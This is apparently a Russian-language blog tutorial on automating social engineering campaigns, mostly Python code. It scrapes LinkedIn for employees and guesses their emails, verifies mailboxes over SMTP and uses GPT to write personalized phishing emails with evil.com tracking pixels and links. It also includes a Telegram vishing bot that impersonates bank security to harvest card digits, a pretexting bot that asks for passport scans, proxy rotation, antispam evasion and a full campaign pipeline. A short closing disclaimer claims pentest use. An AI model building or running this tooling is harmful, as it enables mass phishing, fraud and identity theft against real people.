
66
Представь: ты нашел идеальную уязвимость в человеческом факторе. Но вручную обрабатывать тысячи целей — это как майнить биткоин на калькуляторе. Тут на сцену выходит автоматизация — твой личный киборг для social engineering атак.
Зачем автоматизировать социальную инженерию
Классическая социальная инженерия — это искусство. Но когда нужно масштабировать атаку, ручная работа превращается в ад. Automation решает:
• Массовость: отправка тысяч персонализированных фишинговых писем за минуты
• Скорость реакции: автоответы на действия жертвы в реальном времени
• Сбор данных: парсинг соцсетей для создания профилей целей
• A/B тестирование: какой текст письма работает лучше
• Снижение следов: ротация прокси, изменение fingerprint’ов
Инструментарий разработчика
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
import requests from bs4 import BeautifulSoup import time class LinkedInParser: def __init__(self): self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def get_employee_info(self, company_name): # Парсим публичные профили сотрудников search_url = f"https://www.linkedin.com/search/results/people/?keywords={company_name}" employees = [] response = self.session.get(search_url) soup = BeautifulSoup(response.text, 'html.parser') for profile in soup.find_all('div', class_='entity-result'): name = profile.find('span', {'aria-hidden': 'true'}).text position = profile.find('div', class_='entity-result__primary-subtitle').text employees.append({ 'name': name.strip(), 'position': position.strip(), 'email_pattern': self.generate_email(name, company_name) }) return employees def generate_email(self, name, company): # Генерация возможных вариантов email first, last = name.lower().split()[:2] domain = company.lower().replace(' ', '') + '.com' return [ f"{first}.{last}@{domain}", f"{first[0]}{last}@{domain}", f"{first}@{domain}" ] |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
import openai from jinja2 import Template class PhishingEngine: def __init__(self, api_key): openai.api_key = api_key def generate_personalized_email(self, target_info): # GPT генерит убедительный текст под конкретную жертву prompt = f""" Создай деловое письмо для {target_info['name']}, работающего на позиции {target_info['position']}. Тема: срочное обновление корпоративной политики безопасности. Тон: официальный, с легким давлением по времени. """ response = openai.ChatCompletion.create( model="gpt-4", messages=[{"role": "user", "content": prompt}] ) email_body = response.choices[0].message.content # Добавляем tracking pixel и фишинговую ссылку template = Template(email_body + """ <img src="https://evil.com/track/{{target_id}}.png" width="1" height="1"> Перейдите по ссылке для подтверждения: https://evil.com/verify/{{token}} """) return template.render( target_id=target_info['id'], token=self.generate_token(target_info) ) def generate_token(self, target_info): # Уникальный токен для отслеживания кликов import hashlib return hashlib.sha256(target_info['email'].encode()).hexdigest()[:16] |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
import smtplib import dns.resolver class EmailValidator: def check_email(self, email): domain = email.split('@')[1] # Проверка MX записей try: mx_records = dns.resolver.resolve(domain, 'MX') mx_host = str(mx_records[0].exchange) except: return False # SMTP проверка существования ящика try: server = smtplib.SMTP(mx_host, timeout=10) server.helo() server.mail('test@gmail.com') code, message = server.rcpt(email) server.quit() return code == 250 # 250 = OK, ящик существует except: return False def bulk_check(self, email_list): valid_emails = [] for email in email_list: if self.check_email(email): valid_emails.append(email) time.sleep(1) # Не палимся частыми запросами return valid_emails |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
from telegram import Bot, Update from telegram.ext import Updater, CommandHandler, MessageHandler, Filters import random class VishingBot: def __init__(self, token): self.bot = Bot(token) self.updater = Updater(token, use_context=True) # Сценарии для разных ситуаций self.scripts = { 'bank': [ "Здравствуйте! Служба безопасности банка.", "Зафиксирована подозрительная активность по вашей карте.", "Для блокировки операции назовите последние 4 цифры карты." ], 'support': [ "Техподдержка компании.", "Ваш аккаунт будет заблокирован через 24 часа.", "Подтвердите данные для восстановления доступа." ] } self.setup_handlers() def setup_handlers(self): dp = self.updater.dispatcher dp.add_handler(CommandHandler('start', self.start_attack)) dp.add_handler(MessageHandler(Filters.text, self.handle_response)) def start_attack(self, update, context): scenario = random.choice(list(self.scripts.values())) for message in scenario: update.message.reply_text(message) time.sleep(2) def handle_response(self, update, context): user_data = update.message.text # Логируем полученные данные self.save_victim_data(update.message.from_user.id, user_data) update.message.reply_text( "Спасибо, данные проверяются. Ожидайте SMS с кодом." ) |
Продвинутые техники
Автоматический spear phishing с контекстом
Бот анализирует переписку жертвы в публичных чатах и создает письма, ссылающиеся на реальные события.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
class ContextualPhisher: def analyze_public_messages(self, telegram_username): # Парсим публичные группы, где активна жертва recent_topics = self.parse_user_activity(telegram_username) # Генерим письмо с упоминанием актуальной темы if 'crypto' in recent_topics: return self.generate_crypto_scam() elif 'job' in recent_topics: return self.generate_job_offer_scam() def generate_crypto_scam(self): return """ Видел ваши комментарии о DeFi проектах. Есть закрытая альфа на новый токен перед листингом. Переходите, пока места не разобрали: [evil_link] """ |
Автоматизация pretexting через чат-ботов
Создаем AI-ассистента, который притворяется HR’ом или коллегой.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
from transformers import AutoModelForCausalLM, AutoTokenizer class PretextingAI: def __init__(self): self.model = AutoModelForCausalLM.from_pretrained("gpt2") self.tokenizer = AutoTokenizer.from_pretrained("gpt2") self.persona = "Я HR менеджер компании. Мой стиль общения: дружелюбный, профессиональный." def chat(self, user_message, conversation_history): # Бот поддерживает естественный диалог prompt = f"{self.persona}\n\nИстория:\n{conversation_history}\n\nПользователь: {user_message}\nБот:" inputs = self.tokenizer(prompt, return_tensors="pt") outputs = self.model.generate(**inputs, max_length=200) response = self.tokenizer.decode(outputs[0], skip_special_tokens=True) # Внедряем вредоносные запросы естественным образом if 'документы' in user_message.lower(): response += "\n\nМожете прислать скан паспорта для оформления договора?" return response |
Защита от детекта
Ротация инфраструктуры
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
import requests from itertools import cycle class ProxyRotator: def __init__(self, proxy_list): self.proxies = cycle(proxy_list) def get_next_proxy(self): return next(self.proxies) def send_with_rotation(self, url, payload): proxy = self.get_next_proxy() try: response = requests.post( url, json=payload, proxies={'http': proxy, 'https': proxy}, timeout=10 ) return response except: # Если прокси сдох, берем следующий return self.send_with_rotation(url, payload) # Использование proxies = [ 'http://proxy1.com:8080', 'http://proxy2.com:8080', 'socks5://proxy3.com:1080' ] rotator = ProxyRotator(proxies) |
Обход антиспама
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import time import random class AntiSpamBypass: def send_emails_naturally(self, email_list, send_function): # Имитируем поведение человека for email in email_list: # Случайные задержки между отправками delay = random.uniform(30, 180) # 30 сек - 3 мин # Отправляем в случайное время суток (рабочие часы) current_hour = time.localtime().tm_hour if current_hour < 9 or current_hour > 18: time.sleep(3600) # Ждем рабочего времени send_function(email) time.sleep(delay) # Периодические длинные паузы if random.random() < 0.1: # 10% шанс time.sleep(random.uniform(600, 1800)) # 10-30 мин |
Практический кейс: Полный pipeline
Соберем все вместе в один автоматизированный workflow:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
class SocialEngineeringPipeline: def __init__(self): self.parser = LinkedInParser() self.validator = EmailValidator() self.phishing_engine = PhishingEngine(api_key='your_key') self.rotator = ProxyRotator(proxy_list) def execute_campaign(self, target_company): # Шаг 1: Сбор целей print("[+] Собираем данные о сотрудниках...") employees = self.parser.get_employee_info(target_company) # Шаг 2: Валидация email'ов print("[+] Проверяем email адреса...") valid_targets = [] for emp in employees: for email in emp['email_pattern']: if self.validator.check_email(email): emp['verified_email'] = email valid_targets.append(emp) break # Шаг 3: Генерация персонализированных писем print(f"[+] Генерируем письма для {len(valid_targets)} целей...") campaigns = [] for target in valid_targets: email_content = self.phishing_engine.generate_personalized_email(target) campaigns.append({ 'target': target, 'content': email_content }) # Шаг 4: Рассылка с ротацией print("[+] Запускаем рассылку...") for campaign in campaigns: self.send_via_rotator( campaign['target']['verified_email'], campaign['content'] ) time.sleep(random.uniform(60, 300)) print("[+] Кампания завершена!") def send_via_rotator(self, email, content): # Отправка через случайный прокси proxy = self.rotator.get_next_proxy() # Логика отправки email через SMTP с прокси pass |
Этические аспекты и легальность
Все описанные техники — для пентеста и обучения. Использование против реальных людей без разрешения — это преступление. Автоматизация делает атаки мощнее, но и ответственность растет.
Легальное применение:
• Red team операции с согласия компании
• Тренировки для Blue team
• Тестирование собственных систем защиты